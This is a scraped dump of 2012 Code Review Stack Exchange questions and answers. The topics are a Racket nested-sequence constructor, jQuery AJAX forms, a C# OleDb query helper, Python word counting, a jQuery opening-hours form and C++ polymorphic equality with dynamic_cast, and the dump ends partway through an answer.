"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T15:40:50.253",
"Id": "10496",
"Score": "2",
"Tags": [
"java",
"android"
],
"Title": "Android SwitchedService class design, for cases where you want to start/stop a service from BroadcastReceiver"
}
|
10496
|
<p>I've been learning about Racket sequences and noticed a hole where nested iteration is concerned. We have the <code>in-parallel</code> construct but no <code>in-nested</code> construct. There's the <code>for*/...</code> family, but that's syntactic, and can't be extended to an arbitrary number of sequences known only at run time, so here is my attempt at writing a generic <code>in-nested</code> sequence constructor. </p>
<pre><code>;Returns a sequence where each element has as many
;values as the sum of the number of values produced
;by s-outer and s-inner
(provide/contract
[in-nested (-> sequence?
(or/c (-> any/c sequence?) sequence?)
sequence?)])
(define (in-nested outer-sequence inner-sequence)
(struct position (first-outer next-outer first-inner next-inner))
;Calls the sequence-generator and if successful, re-initiates the
;inner-sequence by calling it with the value from the
;sequence-generator. if the inner-sequence is empty, the
;sequence-generator is called again until either the
;sequence-generator runs dry, or we find an inner sequence that is
;not empty
;sequence-generator : -> (values (or/c list? #f) thunk?)
;return : (or/c position? #f)
(define (restart-inner sequence-generator)
(let-values (((first-outer next-outer) (sequence-generator)))
(let loop ((first-outer first-outer) (next-outer next-outer))
(if first-outer
(let-values (((first-inner next-inner)
(sequence-generate*
(call-with-values
(thunk (apply values first-outer))
inner-sequence))))
(if first-inner
(position first-outer next-outer first-inner next-inner)
(call-with-values next-outer loop)))
#f))))
(if (sequence? inner-sequence)
(in-nested outer-sequence (lambda _ inner-sequence))
(make-do-sequence
(thunk (values
(lambda (p)
(apply values (append (position-first-outer p)
(position-first-inner p))))
(lambda (p)
(let-values (((first-inner next-inner)
((position-next-inner p))))
(if first-inner
(position
(position-first-outer p)
(position-next-outer p)
first-inner
next-inner)
(restart-inner (position-next-outer p)))))
(restart-inner (thunk (sequence-generate* outer-sequence)))
identity
#f
#f)))))
</code></pre>
<p>To give you an idea of how you might use this code, here are some samples. I have these in a separate test file under rackunit.</p>
<pre><code>;simple case
(for (((a b) (in-nested (in-list '(a b)) (in-list '(c d)))))
(printf "~a,~a " a b)) ;=> a,c a,d b,c b,d
;use outer variable in inner loop
(for (((a b) (in-nested (in-range 1 6)
(lambda (i) (in-range 1 i)))))
(display b))
</code></pre>
<p>There are of course many ways to define the combination and permutation using append-map or basic recursion, but these give you a pure sequence not a list or some other actualization of the sequence.</p>
<pre><code>;returns all the ways you can choose n elements from items with replacement
(provide/contract
[combinations (-> list? (and/c exact-integer? positive?) sequence?)])
(define (combinations items n) ; -> list?
(let ((options (build-list (- n 1) (lambda _ (in-list items)))))
(in-values-sequence (foldl in-nested items options))))
(sequence->list (combinations '(a b c) 2))
;=> '((a a) (a b) (a c) (b a) (b b) (b c) (c a) (c b) (c c))
;returns all the ways you can choose n elements from items without replacement
;this is inefficient, don't use. Only for showing how in-nested works
(provide/contract
[combinations (-> list? (and/c exact-integer? positive?) sequence?)])
(define (permutaions items n)
(let ((options (make-list (- n 1) (lambda used (foldl remove items used)))))
(in-values-sequence (foldl (lambda (e a) (in-nested a e)) items options))))
(sequence->list (permutaions '(a b c) 2))
;=> '((a b) (a c) (b a) (b c) (c a) (c b))
</code></pre>
<p>I'm open to any and all suggestions for improvements. Can I make this more useful, more readable, shorter, faster, or more robust? As an aside, I've read that this kind of abstraction over nested iteration has important theoretical roles. Similar to the Monad Bind in Haskell, (though I'm not familiar with Haskell), or SelectMany which is the work horse of Linq for .NET</p>
<p>PS. I'm waiving the cc license and putting this work under the WTFPL license in case you want to use it.</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-05-04T16:19:04.283",
"Id": "18402",
"Score": "0",
"body": "I could have used in-nested yesterday."
}
] |
[
{
"body": "<p>Neat!</p>\n\n<p>It took me a while to see why your second form made sense; it seemed like the Wrong thing until I thought about having a general mechanism to allow later sequences to be closed over the values produced by earlier ones in the way that for* allows. It does have a strongly monadic feel, and ... hmmm... </p>\n\n<p>Actually, one issue I do notice is that in order to use this in a \"nice\" way, as for example your middle examples do, you need to provide an explicit list of identifiers... but in this case, you know how many sequence clauses you need, and it's easier just to use for*. Your last example doesn't use this, but I'm not sure this is sufficiently common to prefer it over something built with recursion. </p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T21:04:25.073",
"Id": "16733",
"Score": "0",
"body": "Hey, an answer from a Racket Developer, cool. I agree, using `in-nested` in a `for`-like form where you bind to a set of identifiers is not as nice as just using `for*` directly, but by the same reasoning, `in-parallel` is equally as pointless and it seems to have made the cut."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T16:24:59.693",
"Id": "16877",
"Score": "0",
"body": "Well, I wouldn't apply the word \"pointless\" to either one. in-parallel has a nice three-line description, which probably helps. Also, I see the problem you're solving as being one that's naturally solved by recursion, in contrast to in-parallel."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T18:33:33.557",
"Id": "10503",
"ParentId": "10497",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "10503",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T15:57:20.767",
"Id": "10497",
"Score": "2",
"Tags": [
"scheme",
"racket"
],
"Title": "In-nested sequence generator for Racket scheme"
}
|
10497
|
<p>I was using the jQuery form plugin to process form submission (found <a href="http://malsup.github.com/jquery.form.js" rel="nofollow">here</a>) on my page but now have to switch to using an purely jQuery AJAX based method (without using any the form plugin but I can use jQuery). What would be the best method of achieving this? I'm having difficulty translating it across. What would an ideal solution look like?</p>
<pre><code>// prepare the form when the DOM is ready
$(document).ready(function() {
var options = {
target: '#result',
beforeSubmit: showRequest,
success: showResponse
};
// bind to the form's submit event
$('#booking').submit(function() {
$(this).ajaxSubmit(options);
return false;
});
});
// pre-submit callback
function showRequest(formData, jqForm, options) {
var queryString = $.param(formData);
// alert('About to submit: \n\n' + queryString);
}
// post-submit callback
function showResponse(responseText, statusText, xhr, $form) {
$('#last-step').fadeOut(300, function() {
$('#result').html(responseText).fadeIn(300);
});
}
</code></pre>
|
[] |
[
{
"body": "<p>You can use jQuery's AJAX function for this directly and, you can pass object literals as parameters without using the form elements.</p>\n\n<pre><code>var params = {id : '1234'};\n$.ajax({\n type: 'GET',\n url: url, // action attribute from form element \n data: JSON.stringify(params),\n contentType: 'application/json; charset=utf-8',\n dataType: 'json', \n success: function (result) {\n console.log(result);\n },\n error: errorFunc\n});\n</code></pre>\n\n<p><a href=\"http://api.jquery.com/jQuery.ajax/\" rel=\"nofollow\" title=\"AJAX documentation\">Documentation can be found here.</a></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T01:24:14.687",
"Id": "10517",
"ParentId": "10501",
"Score": "4"
}
},
{
"body": "<p>If you are using the <code>options</code> variable in only one request you can create it directly in the <code>ajaxSubmit</code> function.</p>\n\n<pre><code>$(this).ajaxSubmit({\n target: '#result',\n beforeSubmit: showRequest, \n success: showResponse\n});\n</code></pre>\n\n<p>I think this way is more clear since you dont need to know what the variable <code>options</code> contains.</p>\n\n<p>Other hint would be <strong>be careful</strong> with HTML DOM ids, they cannot be duplicated. In your case the use of HTML DOM classes would grant more stable code. (although HTML DOM ids have a better performance)</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2016-09-12T13:12:06.583",
"Id": "141147",
"ParentId": "10501",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "10517",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T18:23:22.450",
"Id": "10501",
"Score": "2",
"Tags": [
"javascript",
"jquery",
"ajax"
],
"Title": "AJAX alternative of using jQuery form UI"
}
|
10501
|
<p>I am at the point where I feel that I am not doing it right. It works and does the job, but I am sure that there are more efficient and smarter ways of doing it.</p>
<p>I would like to see if there is a way of making it more efficient, clear, and easier to use.</p>
<p>This is my query getter:</p>
<pre><code> public DataTable querySQL_DT_Return(String query)
{
var form = Form.ActiveForm as Form1;
DataTable RETURNME = null;
OleDbConnection conn = new OleDbConnection(cnStr);
try
{
try
{
conn.Open();
}
catch
{
MessageBox.Show("Can't connect to the database!");
}
OleDbDataAdapter Data1 = null;
try
{
Data1 = new OleDbDataAdapter(query, conn);
}
catch
{
MessageBox.Show("Can't open the connection to the DB, please try again!");
return RETURNME;
}
DataSet a = new DataSet();
Data1.Fill(a);
DataTable dt = a.Tables[0];
//Adding data to the columns
RETURNME = dt;
}
catch
{
//MessageBox.Show("Having issues retrieving data from Database, please try again!");
// return RETURNME;
}
finally
{
if (conn.State.ToString() == "Open")
{
conn.Close();
}
}
if (conn.State.ToString() == "Open")
{
conn.Close();
}
return RETURNME;
}
</code></pre>
<p>When I receive the DataTable, I just loop through it getting records.</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T02:21:50.897",
"Id": "16760",
"Score": "0",
"body": "ORM/data binding can help, but when you need hand-coded customization(such as not displaying everything, or displaying things differently), you might want to have a method return an `IList<CustomObject>` where you define the `CustomObject` class. I have helper methods `RunQueryExpectOneTable` and `RunProcExpectOneTable` which both return a `DataTable`. Then, you can call these and iterate over the rows ..."
}
] |
[
{
"body": "<p>You might try using entity framework and direct data binding. Unless you are doing something fancy, you shouldn't have to manually loop through records to create UI elements.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T16:48:32.787",
"Id": "16879",
"Score": "2",
"body": "Additionally, the simplest solution is just to directly data bind to the DataSet or DataTable objects. Of course, I would generally agree that mapping the data to more specific data structures is better, but it is not required. How complicated to make it depends on what the code will ultimately be used for."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T19:31:34.097",
"Id": "10508",
"ParentId": "10504",
"Score": "0"
}
},
{
"body": "<p>Even if you are stuck with the old/wrong technology (all the cool kids use ORMs these days), you can still dance around that and simplify the act of interfacing with it with clean code of your own. I like having a direct link to the database because I can do whatever the hell I want with it. If the author of an ORM library and I had different goals and priorities, then this library will actually hinder my productivity. Disclaimer: I have little experience with ORMs.</p>\n\n<p>Anyhow, try using lots of smaller functions.\nTry passing everything a method needs in - that way you can move this code into a separate class.\nUse exception handling to signal that something went wrong. Do not use the MessageBox / return null combination. You might be running this code as a windows service where showing Message Boxes is not allowed. It also does not feel right. The error handling / display effort needs to be well thought out, not copy /pasted into every method.\nFeatures are assets; code is liability, hence less code is more.\nTry using descriptive variable/method/etc. names.</p>\n\n<pre><code>public DataTable RunQueryExpectOneTable(\n string queryText,\n string[] expectedColumnNames = null)\n{\n return RunQueryExpectOneTable(\n connectionString: this.ConnectionString,\n queryText: queryText,\n expectedColumnNames: expectedColumnNames);\n}\n\npublic static DataTable RunQueryExpectOneTable(\n string connectionString,\n string queryText,\n string[] expectedColumnNames = null)\n{\n // Even the body of this using method is too long, it can be further split up into methods.\n using(var connection = new OleDbConnection(connectionString))\n {\n // Opens it and makes sure that it is open.\n this.OpenAndCheckConnection();\n var adapter = new OleDbDataAdapter(query, conn);\n DataSet ds = new DataSet();\n adapter.Fill(ds);\n\n // if more than one table, then throw an exception.\n if (expectedColumnNames != null)\n {\n // Also check the number and the names of the columns\n }\n\n return ds.Tables[0];\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-08T15:02:39.003",
"Id": "10704",
"ParentId": "10504",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T18:43:13.683",
"Id": "10504",
"Score": "0",
"Tags": [
"c#",
"sql",
"winforms"
],
"Title": "Getting data from database and then outputing it to the DataGridView"
}
|
10504
|
<p>I use Python dictionaries to count words in a corpus:</p>
<p><code>words[a]</code> = number of times I saw <code>a</code> in the corpus.</p>
<p>Every time before incrementing a counter (<code>words[a] += 1</code>), I need to check a condition:
does the dictionary entry <code>words[a]</code> actually exists?</p>
<p>My code:</p>
<pre><code> if a in words:
words[a] += 1
else:
words[a] = 1
</code></pre>
<p>It there a way to improve it?</p>
|
[] |
[
{
"body": "<p>For Python >= 2.5 you can use <a href=\"http://docs.python.org/library/collections.html#collections.defaultdict\" rel=\"noreferrer\">defaultdict</a> instead of dict:</p>\n\n<pre><code> from collections import defaultdict\n words = defaultdict(int)\n corpus = [\"your\", \"word\", \"corpus\"]\n for a in corpus:\n words[a]+=1\n print words\n</code></pre>\n\n<p>For Python >= 2.7 you can use <a href=\"http://docs.python.org/library/collections.html#collections.Counter\" rel=\"noreferrer\">Counter</a>:</p>\n\n<pre><code>from collections import Counter\ncorpus = [\"your\", \"word\", \"corpus\"]\nwords = Counter(corpus)\nprint words\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T15:30:36.203",
"Id": "16747",
"Score": "1",
"body": "Might be worth pointing out `collections.Counter` as well."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T16:11:02.893",
"Id": "16750",
"Score": "0",
"body": "@WinstonEwert: excellent suggestion, updated the answer."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T06:49:52.380",
"Id": "16767",
"Score": "0",
"body": "For insanely old versions of Python, there's also the option of `words.setdefault(a, 0) += 1`."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T17:36:51.930",
"Id": "16774",
"Score": "0",
"body": "For Python < 2.7 you can use this Counter: http://code.activestate.com/recipes/576611/ ."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T12:58:13.870",
"Id": "10527",
"ParentId": "10526",
"Score": "9"
}
}
] |
{
"AcceptedAnswerId": "10527",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T12:53:21.213",
"Id": "10526",
"Score": "4",
"Tags": [
"python"
],
"Title": "Constantly checking existence of dictionary elements in Python: a better way?"
}
|
10526
|
<p>I need some comments on the code that I "assembled". I want to know if it is efficient because I intend to use it on a live site.</p>
<p><a href="http://jsfiddle.net/Ace6h/" rel="nofollow">jsFiddle</a></p>
<p><strong>HTML:</strong></p>
<pre><code><div id="hourForm">
<div id="Monday-Friday" class="day"></div>
<div id="Saturday" class="day"></div>
<div id="Sunday" class="day"></div>
</div>
</code></pre>
<p><strong>jQuery:</strong></p>
<pre><code>$('.day').each(function() {
var day = $(this).attr('id');
$(this).append('<div id="label">' + day + ': </div>')
.append('<select id="' + day + 'FromH" name="' + day + 'FromH" class="hour from"></select>')
.append('<select id="' + day + 'FromM" name="' + day + 'FromM" class="min from"></select>')
.append(' to <select id="' + day + 'ToH" name="' + day + 'ToH" class="hour to"></select>')
.append('<select id="' + day + 'ToM" name="' + day + 'ToM" class="min to"></select>')
.append(' <input type="checkbox" id="closed_' + day + '" name="closed" value="closed" class="closed" /> <label for="closed_' + day + '">Closed</label>');
});
$('.hour').each(function() {
for (var h = 0; h < 24; h++) {
$(this).append('<option value="' + h + '">' + h + '</option>');
}
$(this).filter('.from').val('6');
$(this).filter('.to').val('22');
});
$('.min').each(function() {
var min = [':00', ':15', ':30', ':45'];
for (var m = 0; m < min.length; m++) {
$(this).append('<option value="' + min[m] + '">' + min[m] + '</option>');
}
$(this).val(':00');
$(this).filter('.from').val(':30');
});
$('input').change(function() {
if ($(this).filter(':checked').val() == "closed") {
$(this).siblings('select').attr('disabled', true);
} else {
$(this).siblings('select').attr('disabled', false);
}
});
$('#Sunday .closed').val(["closed"]).siblings('select').attr('disabled', true);
function displayVals() {
var MondayFridayFromHValues = $("#Monday-FridayFromH").val();
var MondayFridayFromMValue = $("#Monday-FridayFromM").val();
var MondayFridayToHValue = $("#Monday-FridayToH").val();
var MondayFridayToMValue = $("#Monday-FridayToM").val();
var MondayFridayClosedValue = $("#closed_Monday-Friday").filter(":checked").val();
if (MondayFridayClosedValue == "closed") {
var MondayFridayOpen = "Closed";
}
else {
var MondayFridayOpen = MondayFridayFromHValues + MondayFridayFromMValue + "-" + MondayFridayToHValue + MondayFridayToMValue;
}
var SaturdayFromHValues = $("#SaturdayFromH").val();
var SaturdayFromMValue = $("#SaturdayFromM").val();
var SaturdayToHValue = $("#SaturdayToH").val();
var SaturdayToMValue = $("#SaturdayToM").val();
var SaturdayClosedValue = $('#closed_Saturday').filter(':checked').val();
if (SaturdayClosedValue == "closed") {
var SaturdayOpen = "Closed";
}
else {
var SaturdayOpen = SaturdayFromHValues + SaturdayFromMValue + "-" + SaturdayToHValue + SaturdayToMValue;
}
var SundayFromHValues = $("#SundayFromH").val();
var SundayFromMValue = $("#SundayFromM").val();
var SundayToHValue = $("#SundayToH").val();
var SundayToMValue = $("#SundayToM").val();
var SundayClosedValue = $('#closed_Sunday').filter(':checked').val();
if (SundayClosedValue == "closed") {
var SundayOpen = "Closed";
}
else {
var SundayOpen = SundayFromHValues + SundayFromMValue + "-" + SundayToHValue + SundayToMValue;
}
if (MondayFridayOpen == SaturdayOpen) {
if (MondayFridayOpen == SundayOpen) {
$("input:text[name='entry.7.group.other_option_']").val("Monday-Sunday: " + MondayFridayOpen);
}
else {
$("input:text[name='entry.7.group.other_option_']").val("Monday-Saturday: " + MondayFridayOpen + ", Sunday: " + SundayOpen);
}
}
else if (MondayFridayOpen != SaturdayOpen && SaturdayOpen == SundayOpen) {
$("input:text[name='entry.7.group.other_option_']").val("Monday-Friday: " + MondayFridayOpen + ", Saturday-Sunday: " + SaturdayOpen);
}
else {
$("input:text[name='entry.7.group.other_option_']").val("Monday-Friday: " + MondayFridayOpen + ", Saturday: " + SaturdayOpen + ", Sunday: " + SundayOpen);
}
}
$("div#hourForm select").change(function() {
$("input:radio[name='entry.7.group']:nth(3)").attr("checked", true);
});
$(":checkbox[name='closed']").change(function() {
$("input:radio[name='entry.7.group']:nth(3)").attr("checked", true);
});
$("input:text[name='entry.7.group.other_option_']").click(function () {
$("input:radio[name='entry.7.group']:nth(3)").attr("checked", true);
});
$("div#hourForm select").change(displayVals);
$(":checkbox[name='closed']").change(displayVals);
displayVals();
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T10:19:17.597",
"Id": "16803",
"Score": "0",
"body": "Hmm, at least the first part of your code (\"building\" select elements) shouldn't be done in JavaScript like that, but should be part of the static HTML, possibly generated using a server-side script."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T12:25:58.840",
"Id": "16815",
"Score": "0",
"body": "@RoToRa - Can you help me do it?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-05T14:49:26.937",
"Id": "16986",
"Score": "0",
"body": "@m1r0 Help doing what? Generate the HTML server-side? That would depend on the language and templating engine you use. And it would be off topic here."
}
] |
[
{
"body": "<p>In the first and second <code>each</code>, I would build the entire HTML first (as a string), and then <code>append()</code> once.</p>\n\n<p><strong>Update:</strong></p>\n\n<p>I prefer something like this:</p>\n\n<pre><code>$('.day').each(function() { \n var day = $(this).attr('id'); \n var html = '<div id=\"label\">' + day + ': </div>' +\n '<select id=\"' + day + 'FromH\" name=\"' + day + 'FromH\" class=\"hour from\"></select>' +\n '<select id=\"' + day + 'FromM\" name=\"' + day + 'FromM\" class=\"min from\"></select>' + \n ' to <select id=\"' + day + 'ToH\" name=\"' + day + 'ToH\" class=\"hour to\"></select>' +\n '<select id=\"' + day + 'ToM\" name=\"' + day + 'ToM\" class=\"min to\"></select>' +\n ' <input type=\"checkbox\" id=\"closed_' + day + '\" name=\"closed\" value=\"closed\" class=\"closed\" /> <label for=\"closed_' + \n day + '\">Closed</label>';\n\n $(this).append(html);\n});\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T08:01:26.707",
"Id": "10558",
"ParentId": "10529",
"Score": "1"
}
},
{
"body": "<p>Some quick tips;</p>\n\n<ol>\n<li><p><a href=\"https://stackoverflow.com/questions/3857317/does-it-make-sense-to-jquery-cache-this-ie-this-this\">Look at caching <code>$(this)</code></a>. You're regularly re-creating a jQuery object that doesn't change.</p></li>\n<li><p>Adhere to the <a href=\"https://stackoverflow.com/questions/211795/are-there-any-coding-standards-for-javascript\">common JavaScript coding conventions</a>; normally a variable that starts with a capital letter denotes a constructor (that should be invoked with <code>new</code>). Change all your <code>SaturdayFromHValues</code> etc variable names to <code>saturdayFromHValues</code></p></li>\n<li><p>As <a href=\"https://codereview.stackexchange.com/a/10558/12315\">mentioned by @priteaes</a>, you should save the HTML you're constructing to a string and write it to the element once. DOM manipulation is slow, and the browser will be re-paining the window with each <code>append()</code> you're using;</p>\n\n<pre><code>$(this).append('<div id=\"label\">' + day + ': </div>')\n .append('<select id=\"' + day + 'FromH\" name=\"' + day + 'FromH\" class=\"hour from\"></select>')\n .append('<select id=\"' + day + 'FromM\" name=\"' + day + 'FromM\" class=\"min from\"></select>')\n</code></pre>\n\n<p>Becomes:</p>\n\n<pre><code>var html = '';\nhtml += '<div id=\"label\">' + day + ': </div>';\nhtml += '<select id=\"' + day + 'FromH\" name=\"' + day + 'FromH\" class=\"hour from\"></select>';\nhtml += '<select id=\"' + day + 'FromM\" name=\"' + day + 'FromM\" class=\"min from\"></select>';\n\n$(this).append(html);\n</code></pre></li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T19:09:09.917",
"Id": "16833",
"Score": "0",
"body": "Great answer Matt, thank you! Do you mean something like this: http://jsfiddle.net/m1r0/Ace6h/27/ . How can I add the other `each` to the `append(html)`?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T10:28:08.673",
"Id": "16855",
"Score": "0",
"body": "@m1ro: I wouldn't worry *toooo* much about getting *each* `each` into exactly **1** `append()`. What I'd change next would be the `appends()` in the `for` loops as well: http://jsfiddle.net/Ace6h/29/"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T18:39:46.210",
"Id": "16884",
"Score": "0",
"body": "Here is the final form: http://jsfiddle.net/m1r0/Ace6h/31/ . I learned a lot. Thanks again for helping me out."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T15:18:32.057",
"Id": "10567",
"ParentId": "10529",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "10567",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T13:07:25.633",
"Id": "10529",
"Score": "2",
"Tags": [
"javascript",
"performance",
"jquery",
"datetime"
],
"Title": "Hours of operation input form"
}
|
10529
|
<p>Is this a proper way to implement an equality check? In <code>Equals</code> method, I am relying on <code>bad_cast</code> exception to know if the objects are of the same class or not. </p>
<p>Is there any other way to implement <code>Equals()</code> in C++?</p>
<pre><code>class Shape
{
public:
virtual ~Shape() = 0;
bool operator==(const Shape& s)
{
return Equals(s);
}
virtual bool Equals(const Shape& s) = 0;
};
class Circle : public Shape
{
bool Equals(const Shape& c) override
{
try
{
const Circle& other = dynamic_cast<const Circle&>(c);
// condition to check equality.
}
catch(std::bad_cast&)
{
return false;
}
catch(...)
{
throw;
}
}
};
class Square : public Shape
{
bool Equals(const Shape& s) override
{
try
{
const Square& other = dynamic_cast<const Square&>(s);
// condition to check equality.
}
catch(std::bad_cast&)
{
return false;
}
catch(...)
{
throw;
}
}
};
typedef std::shared_ptr<Shape> ShapePtr;
typedef std::vector<ShapePtr> Shapes;
Shapes LoadShapes()
{
Shapes shapes;
shapes.push_back(std::make_shared<Circle>(42));
shapes.push_back(std::make_shared<Circle>(52));
shapes.push_back(std::make_shared<Circle>(62));
shapes.push_back(std::make_shared<Square>(10));
return shapes;
}
int main()
{
auto circle = std::make_shared<Circle>(42);
auto shapes = LoadShapes();
for ( auto& shape : shapes)
{
if ( *shape == *circle)
{
std::cout << *shape << "\n";
}
}
}
</code></pre>
<p><strong>EDIT</strong></p>
<p>Made the <code>operator==</code> as non-virtual method.</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T15:41:29.703",
"Id": "16749",
"Score": "3",
"body": "Why did you make operator== as non-virtual method?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T23:31:56.253",
"Id": "16758",
"Score": "0",
"body": "Since I had the Equals() method, there was no need for operator== to be virtual. Isn't it ? But then, we don't need the Equals() method and we could just override the operator== by making the operator== in base class pure virtual there by forcing the implementation in derived classes."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T15:49:27.853",
"Id": "16773",
"Score": "0",
"body": "looks like redundant to me. what benefits are you going to get from extra equals method?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T00:34:35.917",
"Id": "16791",
"Score": "0",
"body": "I agree. Equals() method does not bring any extra benifit."
}
] |
[
{
"body": "<p><code>dynamic_cast</code> on <em>pointers</em> will never throw. Instead, it will return <code>0</code>.</p>\n\n<p>Furthermore, why do you actually have the <code>Equals</code> function? You can make <code>operator ==</code> virtual directly. This leaves us with:</p>\n\n<pre><code>class Circle : public Shape\n{\n bool operator ==(const Shape& c) override\n {\n auto other = dynamic_cast<const Circle*>(&c);\n return other != 0 and /* check equality */;\n }\n};\n</code></pre>\n\n<p>Apart from that, the code <code>catch (...) { throw; }</code> never makes sense. If you’re going to rethrow the exception without any action anyway, why catch it in the first place?</p>\n\n<p>As per the comments, the declaration of <code>other</code> can be abbreviated. This is recommended in C++11, especially since the exact type of the variable is already explicitly mentioned in the initialiser expression.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T15:37:22.673",
"Id": "16748",
"Score": "2",
"body": "dynamic_cast will throw a bad_cast in case of reference type."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T16:39:03.007",
"Id": "16751",
"Score": "0",
"body": "@innochenti Erm … yes. Of course."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T09:35:44.323",
"Id": "16768",
"Score": "0",
"body": "now ok. :) also, better auto other = dynamic_cast<const Circle*>(&c); 'cause there is type in dynamic_cast"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T14:47:36.037",
"Id": "16772",
"Score": "0",
"body": "@innochenti Yes, I agree. I didn’t see the C++11 tag."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T15:09:06.510",
"Id": "10533",
"ParentId": "10531",
"Score": "5"
}
},
{
"body": "<pre><code>class Circle : public Shape\n{\n\n\n bool Equals(const Shape& c) override\n</code></pre>\n\n<p>Why not a virtual \"operator ==\"?</p>\n\n<pre><code> {\n try\n {\n const Circle& other = dynamic_cast<const Circle&>(c);\n</code></pre>\n\n<p>Switching to pointer based <code>dynamic_cast</code> and checking for <code>NULL</code> might be better. Throwing and catching the exception is probably slightly more expensive than checking for null in and if. Its also not a particulairly common c++ idiom to catch exceptions as a logic decision like this.</p>\n\n<pre><code> // condition to check equality.\n }\n catch(std::bad_cast&)\n {\n return false;\n }\n catch(...)\n {\n throw;\n }\n</code></pre>\n\n<p>Why? If you don't want to do anything with other exceptions, don't catch them.</p>\n\n<pre><code> }\n};\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T09:49:43.743",
"Id": "16769",
"Score": "0",
"body": "do you mean that \"other\" exceptions should be caught outside equals function?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T11:54:01.517",
"Id": "16770",
"Score": "0",
"body": "Please do not spread Urban legends (or provide a reference that is not 20 years old). Exceptions are not expensive in modern implementations. This may have been a problem with the initial implementation of exceptions and caused a lot of bad rep to the use of exceptions but modern implementations are highly efficient. In the above code it is not the cost of the exception that worries me but the cost of the dynamic_cast."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T14:05:31.803",
"Id": "16771",
"Score": "0",
"body": "@LokiAstari, my wording came out stronger then I intended. My understanding is that throwing exceptions is more expensive then ordinary execution. Its not huge, but the performance difference is still there."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T19:57:01.230",
"Id": "16776",
"Score": "0",
"body": "I would argue with \"throwing exceptions is more expensive\". If you handle exceptions; then If you take into account the extra code you have to manually insert to achieve the same affect as the exception handling code I doubt that exceptions are any more expensive than the manual code. If you don't handle the exception then sure it is cheaper. But it is a couple of years since I did this test and I am unsure how the exception mechanism has changed in the interim."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T20:22:33.487",
"Id": "16778",
"Score": "0",
"body": "@LokiAstari, see http://stackoverflow.com/questions/1018800/performance-of-c0x-exceptions. Of course this comes down to how the compiler/runtime implement exceptions, and will vary from case to case."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T17:58:49.700",
"Id": "10535",
"ParentId": "10531",
"Score": "5"
}
},
{
